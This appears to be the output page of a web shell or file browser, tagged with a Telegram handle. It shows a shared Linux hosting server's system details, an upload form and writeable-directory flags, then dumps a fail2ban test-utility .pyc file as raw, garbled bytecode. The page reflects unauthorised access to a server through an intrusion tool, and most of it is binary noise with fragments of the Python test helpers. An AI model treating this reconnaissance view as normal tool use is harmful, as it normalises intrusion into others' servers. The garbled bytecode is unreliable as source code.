https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/fail2ban/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/fail2ban/tests/__pycache__/utils.cpython-310.pyc
o

;s*b�v�@s�dZdZdZddlZddlZddlZddlZddlZddlZddl	Z	ddl
Z
ddlZddlZddl
Z
ddlZddlmZddlmZddlmZmZmZmZdd	lmZmZdd
lmZddlmZddlm Z dd
l!m!Z!ee"�a#dZ$ej%�&dd�Z'e's�ej(�)ej(�*dd��r�dZ'ndZ'ej(�)ej(�*e'd��Z+e�,dej(�-ej(�-ej(�-ej(�.e/�����Gdd�dej0�Z1dCdd�Z2dd�Z3Gdd�de1�Z4dd�Z5dd �Z6e7ed!�s�Gd"d!�d!e8�Z9e9e_9ej:j;Z<d#d$�Z;e;ej:_;d%d&�Z=d'd(�Z>ej%�&d)d�Z?d*d+�Z@d,d-�ZAdDd.d/�ZBddlCZCddlDZDe7ejEd0��s dEd1d0�ZFeFejE_Fd2d3eGdfd4d5�ZHeHejE_He7ejEd6��s<d7d6�ZIeIejE_J	dEd9d:�ZKeKejE_KdEd;d<�ZLeLejE_LejEjMZNd=d>�ZOejEjPZQd?d@�ZReOejE_MeRejE_PGdAdB�dBejE�ZSejTZTdS)FzYaroslav Halchenkoz%Copyright (c) 2013 Yaroslav Halchenko�GPL�N)�StringIO��wraps�)�	getLogger�str2LogLevel�getVerbosityFormat�
uni_decode)�IPAddr�DNSUtils)�MyTime)�Utils)�asyncserver)�versioni �B�FAIL2BAN_CONFIG_DIR�configz
fail2ban.confz
/etc/fail2ban�
PYTHONPATHc@seZdZdd�ZdS)�DefaultTestOptionscCs ddddddddddd�
|_dS)NTF)
�	log_level�	verbosity�log_lazy�
log_traceback�full_traceback�fast�	memory_db�no_gamin�
no_network�	negate_re)�__dict__��self�r"�6/usr/lib/python3/dist-packages/fail2ban/tests/utils.py�__init__Hs
�zDefaultTestOptions.__init__N)�__name__�
__module__�__qualname__r$r"r"r"r#rGsr�cCs�tj}tjdtjd|dtd�}|�|dddddd	�|d
dddd
d�|dddtddd�|dddddd�|dddddd�|dddd d!d�|d"d#dd$d%d�|d&d'dd(d)d�|d*d+dd,d-d�|d.d/dd0d1�|d2dd3d1�g�|S)4Nz%s [OPTIONS] [regexps]
rz%prog )�usagerz-lz--log-levelrz4Log level for the logger to use during running tests)�dest�default�helpz-v�countrzIncrease verbosity)�actionr*r+r,z--verbosity�storez'Set numerical level of verbosity (0..4))r.r*�typer+r,z--log-direct�store_falserTz!Prevent lazy logging inside testsz-nz--no-network�
store_truerz)Do not run tests that require the network)r.r*r,z-gz
--no-gaminrz'Do not run tests that require the gaminz-mz--memory-dbrz/Run database tests using memory instead of filez-fz--fastrzQTry to increase speed of the tests, decreasing of wait intervals, memory databasez-iz--ignorerzAnegate [regexps] filter to ignore tests matched specified regexpsz-tz--log-tracebackz.Enrich log-messages with compressed tracebacks)r.r,z--full-tracebackzBEither to make the tracebacks full, not compressed (as by default))�optparse�Option�OptionParser�sys�argvr�add_options�int)�docr4�pr"r"r#�getOptParserSsh���
����������#r<cCs6td�ad}|jdurt|j�}t�|�nt�tj�tj|_|j}|durV|dur-dn%|tj	kr4dn|tj
kr;dn|ttjtj
�krFdn|ttjtj�krQdnd}||_t�tj�}d}|jrqddlm}|jrld	pmd
|}ntj}t||�}|�||��t�|�|jdkr�tdtttj��dd
�f�|S)N�fail2ban���rrz %(message)s)�FormatterWithTraceBackz %(tb)sz %(tbc)sz1Fail2ban %s test suite. Python %s. Please wait...�
r()r�logSysrr�setLevel�logging�CRITICAL�levelr�
HEAVYDEBUG�DEBUG�min�INFO�NOTICE�WARNING�ERROR�
StreamHandlerr6�stdoutr�helpersrAr�	Formatterr	�setFormatter�
addHandler�printr�str�replace)�opts�llevrrP�fmtrRr"r"r#�initProcesss>

�


�r[c@sFeZdZdZdZdd�Zdd�Zdd�Zd	d
�Zdd�Z	ddd�Z
dS)�F2B�<�cCs(|j|_|jr
d|_d|_i|jd<dS)NT�share_config)rrrr)r!rXr"r"r#r$�s
zF2B.__init__cC�dS�Nr"r r"r"r#�
SkipIfFast��zF2B.SkipIfFastcCr`rar"r r"r"r#�SkipIfNoNetwork�rczF2B.SkipIfNoNetworkcKs�ts@|�d�rt�d��dD]3}|�|�}|durqtj�|�ddkr(|d7}tj�tj�t	|d|��s?t�d	||f��qdSdS)
z4Helper to check action/filter config is available
		�stockz/Skip test because of missing stock-config files)r.�filterNr>r(z.confz.dz-Skip test because of missing %s-config for %r)
�STOCK�get�unittest�SkipTest�os�path�splitext�exists�join�
CONFIG_DIR)r!�kwargs�t�vr"r"r#�SkipIfCfgMissing�s



��zF2B.SkipIfCfgMissingcs�fdd�}|S)z>Helper decorator to check action/filter config is available
		cst����fdd��}|S)Ncs(tjjdi����|g|�Ri|��S)Nr")rir\rt�r!�argsrq)�decargs�fr"r#�wrapper�sz?F2B.skip_if_cfg_missing.<locals>._deco_wrapper.<locals>.wrapperr�rxry�rw�rxr#�
_deco_wrapper�sz.F2B.skip_if_cfg_missing.<locals>._deco_wrapperr")r!rwr}r"r{r#�skip_if_cfg_missing�szF2B.skip_if_cfg_missingTcCs4t|t�r
|r
|j}|jrt|t�rt|�d}|S)N�
)�
isinstance�bool�MAX_WAITTIMErr9�float)r!�wtimer"r"r#�maxWaitTime�s
zF2B.maxWaitTimeN�T)r%r&r'r��MID_WAITTIMEr$rbrdrtr~r�r"r"r"r#r\�s
r\c�t���fdd��}|S)z�Helper decorator to create a temporary directory

	Directory gets removed after function returns, regardless
	if exception was thrown of not
	c	s>tjdd�}z�||g|�Ri|��Wt�|�St�|�w)Nzf2b-temp)�prefix)�tempfile�mkdtemp�shutil�rmtree)r!rvrq�tmpr|r"r#ry�szwith_tmpdir.<locals>.wrapperrrzr"r|r#�with_tmpdir�sr�cr�)z@Helper decorator to execute test in alternate (fixed) test time.cs.t�z�|g|�Ri|��Wt�St�wra)�setUpMyTime�tearDownMyTimerur|r"r#ry�szwith_alt_time.<locals>.wrapperrrzr"r|r#�
with_alt_time�sr�rjc@seZdZdS)rjN)r%r&r'r"r"r"r#rjscCsZ|dtur%|jr|j�t|d��dS|jr#|j�d�|j��dSt|||�dS)Nrr>�s)	rj�showAll�stream�writelnrV�dots�write�flush�
_org_AddError)r!�test�errr"r"r#�addErrors�
r�cs�|stt��}t|�t_tjjr"dt_dt_dt_dd�}|tj_	ndt_dt_dt_t
j��fdd	�}|t
_tjjrCd
d�}|tj_
dtjd
<t
��t�t�tj}|jddd�td�D]"}|�d|d�|�d|d�|�d|d�|�d|d�q_|�dd�|�dd�tjjr�|�dd�|�dd�|�dd�tj}dt�fdt�fdt�fd t�fd!t�fd"t�fd#ttd$�td%�g�fd&ttd$�td%�g�ffD]}|j|�q�tjjr�t��D]}|�|t�d'��q�dSdSdS)(Ng{�G�zd?g����Mb@?g-C��6?cS�
t�d��)NzSkip test because of "--fast"�rirjr"r"r"r#�F2B_SkipIfFast"�
z!initTests.<locals>.F2B_SkipIfFastg�������?g{�G�zt?cs |dkr
td|���|�dS)Ng�?zT[BAD-CODE] To long sleep interval: %s, try to use conditional Utils.wait_for instead)�
ValueError�rs��
_org_sleepr"r#�
_new_sleep,szinitTests.<locals>._new_sleepcSr�)Nz#Skip test because of "--no-network"r�r"r"r"r#�F2B_SkipIfNoNetwork3r�z&initTests.<locals>.F2B_SkipIfNoNetworkzCET-01CEST-02,M3.5.0,M10.5.0�TZi'i,)�maxCount�maxTime�z
192.0.2.%sz
198.51.100.%sz203.0.113.%sz2001:db8::%sz	test-hostz2001:db8::ffffz
test-otherz
87.142.124.10z192.0.2.888z8.8.4.4z
dns.googlez999.999.999.999z
abcdef.abcdefz
192.168.0.z
failed.dns.chz!doh1.2.3.4.buga.xxxxx.yyy.invalidz1.2.3.4.buga.xxxxx.yyy.invalidzexample.comz"2606:2800:220:1:248:1893:25c8:1946z
93.184.216.34zwww.example.com�	localhost)r[rr\rirr�DEFAULT_SLEEP_TIME�DEFAULT_SLEEP_INTERVAL�DEFAULT_SHORT_INTERVALrb�time�sleeprrdrk�environ�tzsetr
�setAlternateNow�TEST_NOWr�CACHE_ipToName�
setOptions�range�set�CACHE_nameToIpr�getSelfNames�dnsToIp)rXr�r�r��c�ir"r�r#�	initTestssf




�
�r�cCr`rar"r"r"r"r#�
mtimesleepesr�r�cCst�t�dSra)r
�setTimer�r"r"r"r#r�msr�cCs
dt_dSra)r
�myTimer"r"r"r#r�sr�r�c
s"t��ddlm}ddlm}ddlm}ddlm}ddlm}ddlm}ddlm}dd	lm	}	dd
lm
}
ddlm}ddlm}dd
lm
}
ddlm}ddlm}ddlm}ddlm}ddlm}�sqt��}nG���fdd�dtj����}|�t�|j��|�t�|j��|�t�|j��|�t�|j��|�t�|j��|�t�|
j��|�t�|j��|�t�|j��|�t�|j��|�t�|j ��|�t�|j��zddl!}|�t�|j"��Wn	t#y�Ynw|�t�|j$��|�t�|j%��|�t�|j&��|�t�|j'��|�t�|j(��|�t�|j)��|�t�|j*��|�t�|j+��|�t�|
j,��|�t�|
j-��|�t�|
j.��|�t�|
j/��|�t�|j0��|�t�|j1��|�t�|j2��|�t�|j3��|�t�|j4��|�t�|j5��|�t�|j6��|�t�|j7��|�t�|j8��|�t�|j9��|�t�|j:��|�t�|j;��|�t�|j<��|�t�|j��|�t�|	j=��|�t�|	j>��|�t�|j?��|�t�|j@��|�t�|jA��|�t�|jB��t�C�}ddlmD}tE�FtEjG�HtEjG�I|jJ���D]"}|�Kd��rV|�Ld��rV|�|�Md|jNtEjG�O|�df���q5ddlPmQ}|g}z#tjRjS�sltjRjT�rxt#dtjRjStjRjTf��ddlUmV}|�W|�Wnt#�y�}z
tX�Yd|�WYd}~nd}~wwz
ddlZm[}|�W|�Wnt#�y�}z
tX�Yd |�WYd}~nd}~ww|D]}|�t�|�\|����q�zdd!l]m^}|�t�|�_|���Wnt#�y}z
tX�Yd"|�WYd}~nd}~ww|�t�|j`��|S)#Nr>)�banmanagertestcase)�clientbeautifiertestcase)�clientreadertestcase)�tickettestcase)�failmanagertestcase)�filtertestcase)�servertestcase)�datedetectortestcase)�actiontestcase)�actionstestcase)�sockettestcase)�misctestcase)�databasetestcase)�observertestcase)�samplestestcase)�fail2banclienttestcase)�fail2banregextestcasecs.eZdZdd��D�Z���fdd�Z�ZS)z&gatherTests.<locals>.FilteredTestSuitecSsg|]}t�|��qSr")�re�compile)�.0�rr"r"r#�
<listcomp>�sz1gatherTests.<locals>.FilteredTestSuite.<listcomp>cs�g}|D],}t|tj�r|�|�qt|�}|jD]}|�|�}�js&|r/n|s/|�|�nqq|D]
}t	�|��|�q3dSra)
r�ri�	TestSuite�addTestrV�_regexps�searchr�append�super)r!�suite�matchedr�r�r��m)�FilteredTestSuite�	__class__rXr"r#r��s



��z.gatherTests.<locals>.FilteredTestSuite.addTest)r%r&r'r�r��
__classcell__r"�r�rX�regexps�r�r#r��sr�r)�action_d�test_z.pyz%s.%sr)�
FilterPollzSkip, fast: %s, no_gamin: %s)�FilterGaminz2Skipping gamin backend testing. Got exception '%s')�FilterPyinotifyz9I: Skipping pyinotify backend testing. Got exception '%s')�
FilterSystemdz7I: Skipping systemd backend testing. Got exception '%s')ar�r(r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�rir�r��	makeSuite�Transmitter�	JailTests�
RegexTests�LoggingTests�ServerConfigReaderTests�CommandActionTest�ExecuteActions�TicketTests�
AddFailure�FailmanagerComplex�dns�StatusExtendedCymruInfo�ImportError�BeautifierTest�ConfigReaderTest�JailReaderTest�FilterReaderTest�JailsReaderTest�JailsReaderTestCache�Socket�
ClientMisc�HelpersTest�	SetupTest�TestsUtilsTest�
MyTimeTest�DatabaseTest�ObserverTest�BanTimeIncr�
BanTimeIncrDB�IgnoreIP�BasicFilter�LogFile�LogFileMonitor�LogFileFilterPoll�IgnoreIPDNS�GetFailures�
DNSUtilsTests�DNSUtilsNetworkTests�DateDetectorTest�CustomDateFormatsTest�FilterSamplesRegex�Fail2banClientTest�Fail2banServerTest�Fail2banRegexTest�
TestLoaderr�rk�listdirrl�abspath�dirname�__file__�
startswith�endswith�loadTestsFromNamer%rm�server.filterpollr�r\rr�server.filtergaminr�r�rC�warning�server.filterpyinotifyr��get_monitor_failures_testcase�server.filtersystemdr��%get_monitor_failures_journal_testcase�TransmitterLogging)r�rXr�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r��testsr��
testloaderr��file_r��filtersr��er��Filter_r�r"r�r#�gatherTestsws�
��������
���r1�assertDictEqualc	Cs�|�t|t�d�|�t|t�d�||kr>d||f}dd�t�t�|���t�|�����}|p6||}|�	|�dSdS)Nz"First argument is not a dictionaryz#Second argument is not a dictionary�%r != %rrB)
�
assertTruer��dictro�difflib�ndiff�pprint�pformat�
splitlines�fail)r!�d1�d2�msg�standardMsg�diffr"r"r#r2's
��r>Fc
s�dd��|r	t�n|f�fdd�	����fdd��z�|||||�Wd
Styg}z7t|t�r6|jdnt|�d}d	d	�t�t	�
|���t	�
|�����}	|pV||	}|�|�WYd
}~d
Sd
}~ww)z�Compare complex elements (like dict, list or tuple) in sorted order until
	level 0 not reached (initial level = -1 meant all levels),
	or if nestedOnly set to True and some of the objects still contains nested lists or dicts.
	cSs2t|t�rtdd�|��D��Stdd�|D��S)Ncs� �|]}t|tttf�VqdSra�r�r5�list�tuple�r�rsr"r"r#�	<genexpr>;��z8assertSortedEqual.<locals>._is_nested.<locals>.<genexpr>csrArarBrEr"r"r#rF<rG)r�r5�any�valuesr�r"r"r#�
_is_nested9s
z%assertSortedEqual.<locals>._is_nestedcs4t|tttf�rtt��fdd�|D���d�S|S)Nc3s�|]}�|��VqdSrar"rE)�_nest_sorted�keyr"r#rFBs�z:assertSortedEqual.<locals>._nest_sorted.<locals>.<genexpr>�rL)r�r�rCrD�sorted)rsrL)rKrMr#rK@s z'assertSortedEqual.<locals>._nest_sortedcsjt|�t|�krtd||f��|s*|r*�|�s*�|�s*||kr"dStd||f��t|t�rpt|t�rp|��D]5\}}||}t|tttf�rat|tttf�ra�|||dkr[|dnd||�q8||krmtd||f��q8dS�||d�}�||d�}t||�D]1\}}t|tttf�r�t|tttf�r��|||dkr�|dnd||�q�||kr�td||f��q�dS)Nr3rr>rM)�lenr�r�r5�itemsrCrD�zip)�a�brG�
nestedOnlyrL�k�v1�v2��_assertSortedEqualrJrKr"r#rYEs0 "�� "��z-assertSortedEqual.<locals>._assertSortedEqualrz
within:rBN)
rN�	Exceptionr�r�rvrVror6r7r8r9r:r;)
r!rRrSrGrTrLr>r/r?r@r"rXr#�assertSortedEqual3s" 
���r[�assertRaisesRegexpc
Os�z	||i|��Wn-|y6}z!t�|t|��dur+|�d||f�WYd}~dSWYd}~dSd}~ww|�dt|d��dS)Nz"%s" does not match "%s"z
%s not raisedr%)r�r�rVr;�getattr)r!�exccls�regexp�funrvrqr/r"r"r#r\js ���TcCsl|}d}|durt|d�rt|t�st�|�\}}d}||vr4|r%t|�}|p,d||f}|�|�dSdS)NF�__iter__Tz%r was not found in %r��hasattrr�rV�	itertools�teerCr;�r!rRrSr>�bb�wrapr"r"r#�assertInv��ricCsl|}d}|durt|d�rt|t�st�|�\}}d}||vr4|r%t|�}|p,d||f}|�|�dSdS)NFraTz%r unexpectedly found in %rrbrfr"r"r#�assertNotIn�rjrkcCsPtjjtjkrtj�d�t�	d|�
��t|�tjjdkr&t
�
�|_dSdS)NrBz"========== %s ====================r)rir\rrErIr6�stderrr�rC�debug�id�
_org_setUprr��__startTimer r"r"r#�_customSetUp�s�rqcCs0tjjdkrtj�dt��|jf�dSdS)Nrz
 %.3fs -- )rir\rr6rlr�r�rpr r"r"r#�_customTearDown�s �rrcsveZdZGdd�dej�Z�fdd�Z�fdd�Zdd�Zd	d
�Z	dd�Z
ddd�Zdd�Ze
ejfdd��Z�ZS)�LogCaptureTestCasec@sDeZdZdZddd�Zddd�Zdd	�Zd
d�Zdd
�Zdd�Z	dS)zLogCaptureTestCase._MemHandlerz�Logging handler helper
		
		Affords not to delegate logging to StreamHandler at all,
		format lazily on demand in getvalue.
		Increases performance inside the LogCaptureTestCase tests, because there
		the log level set to DEBUG.
		TcCsLt��|_d|_d|_t�|_d|_t�|_	t
j�|�|r$|j
|_dSdS)Nr(r)�	threading�Lock�_lock�_val�_dirtyrC�_recs�
_nolckCntrr�_strmrE�Handlerr$�_handle_lazy�handle)r!�lazyr"r"r#r$�s
�z'LogCaptureTestCase._MemHandler.__init__NcCs\|rtd|��d|_|j�d|_t�|_|j�d�Wd�dS1s'wYdS)z)Truncate the internal buffer and records.z.invalid size argument: %r, should be None or 0r(rN)rZrwrvrxrCryr{�truncate)r!�sizer"r"r#r��s"�z'LogCaptureTestCase._MemHandler.truncatec
Cs�z&|��d}z
|j�|�WWdSty&|j�|�dd��YWdSwtyA}z|j�d|�WYd}~dSd}~ww)NrBzUTF-8rWzError by logging handler: %r)�
getMessager{r��UnicodeEncodeError�encoderZ)r!�recordr>r/r"r"r#�__write�s���z&LogCaptureTestCase._MemHandler.__writecCs�|js|jS|j�d�}|jd@rQ|s*|jd7_|jdkr"|jSd|_|j��z|jdM_|j}t�|_W|j��n|j��w|D]}|�|�qHn|r_|jdM_|j��|j	�
�|_|jS)z&Return current buffer as whole string.Frr>�r������)rxrwrv�acquirerzryrC�release�_MemHandler__writer{�getvalue)r!�lck�recsr�r"r"r#r��s.



�
z'LogCaptureTestCase._MemHandler.getvaluecCsD|�|�|j�|jdO_Wd�dS1swYdS)z-Handle the specified record direct (not lazy)r>N)r�rvrx�r!r�r"r"r#r~�s
"�z%LogCaptureTestCase._MemHandler.handlecCsF|j�|j�|�|jdO_Wd�dS1swYdS)z*Lazy handle the specified record on demandrN)rvryr�rxr�r"r"r#r}�s"�z+LogCaptureTestCase._MemHandler._handle_lazyr�ra)
r%r&r'�__doc__r$r�r�r�r~r}r"r"r"r#�_MemHandler�s



"r�csxtj|_tj|_t�tjj	�|_
|j
gt_|jtjkr#tj|j7_|jtjdkr3t�
tjd�tt|���dS)Nr>)rCrG�
_old_level�handlers�
_old_handlersrsr�rir\r�_logrErIrDr��setUpr r�r"r#r��s
zLogCaptureTestCase.setUpcs*|��|jt_|jt_tt|���dS)zCall after every test case.N)	�pruneLogr�rCr�r�rGr�rs�tearDownr r�r"r#r�szLogCaptureTestCase.tearDowncOsP|j��}|�dd�s|D]	}||vrdSq
	dS|D]	}||vr%dSqdS)N�allFT)r�r�rh�r!r�rq�logged�s_r"r"r#�
_is_loggeds
��zLogCaptureTestCase._is_loggedcs���dd�}|rtj�|�}t����fdd�|�}n�j�i���}��dd�sD|sB�j��}��	d�|r:d|nd	|f�dSdS|sd�j��}�D]}||vrc��	d
||r]d|nd	|f�qMdSdS)akAssert that one of the strings was logged

		Preferable to assertTrue(self._is_logged(..)))
		since provides message with the actual log.

		Parameters
		----------
		s : string or list/set/tuple of strings
		  Test should succeed if string (or any of the listed) is present in the log
		all : boolean (default False) if True should fail if any of s not logged
		�waitNcs�j�i���Sra)r�r"�rqr�r!r"r#�<lambda>2sz1LogCaptureTestCase.assertLogged.<locals>.<lambda>r�Fz/None among %r was found in the log%s: ===
%s===z, waited %sr(z(%r was not found in the log%s: ===
%s===)
rhrir\r�r�wait_forr�r�r�r;)r!r�rqr��resr�r�r"r�r#�assertLogged#s,
��
���zLogCaptureTestCase.assertLoggedcOsx|j��}t|�dkr(|�dd�s(|D]	}||vrdSq|�d||f�dS|D]}||vr9|�d||f�q*dS)aAssert that strings were not logged

		Parameters
		----------
		s : string or list/set/tuple of strings
		  Test should succeed if the string (or at least one of the listed) is not
		  present in the log
		all : boolean (default False) if True should fail if any of s logged
		r>r�FNz6All of the %r were found present in the log: ===
%s===z"%r was found in the log: ===
%s===)r�r�rOrhr;r�r"r"r#�assertNotLoggedDs

���z"LogCaptureTestCase.assertNotLoggedNcCs$|j�d�|rt�d|�dSdS)Nrz===== %s =====)r�r�rCrm)r!�logphaser"r"r#r�Ys�zLogCaptureTestCase.pruneLogcCs
|j��Sra)r�r�r r"r"r#�getLog^r�zLogCaptureTestCase.getLogcCsZ|tjkst��tjkr+|d|d�t�|�D]}|�d�}||�q|d�dSdS)z@Helper which outputs content of the file at HEAVYDEBUG loglevelsz---- z ----rBz------------------------------N)rCrm�getEffectiveLevelrErI�	fileinput�input�rstrip)�fnr~�liner"r"r#�dumpFileas

�zLogCaptureTestCase.dumpFilera)r%r&r'rEr|r�r�r�r�r�r�r�r��staticmethodrCrmr�r�r"r"r�r#rs�sX!
rs)r()NNra)U�
__author__�
__copyright__�__license__r�rdrEr3rkr�r�r�r6r�rtri�ior�	functoolsrrQrrr	r
�server.ipdnsrr�
server.mytimer
�server.utilsr�serverrrr%rCr�r�rhrprlrnrorg�putenvrrr�Valuesrr<r[r\r�r�rcrZrj�_TextTestResultr�r�r�r��old_TZr�r�r1r6r8�TestCaser2�reprr[r\�assertRaisesRegexrirkr�rorqr��
_org_tearDownrrrs�
pid_existsr"r"r"r#�<module>s�

�
,82

	O
/

4





L

https://t.me/RX1948 - 2025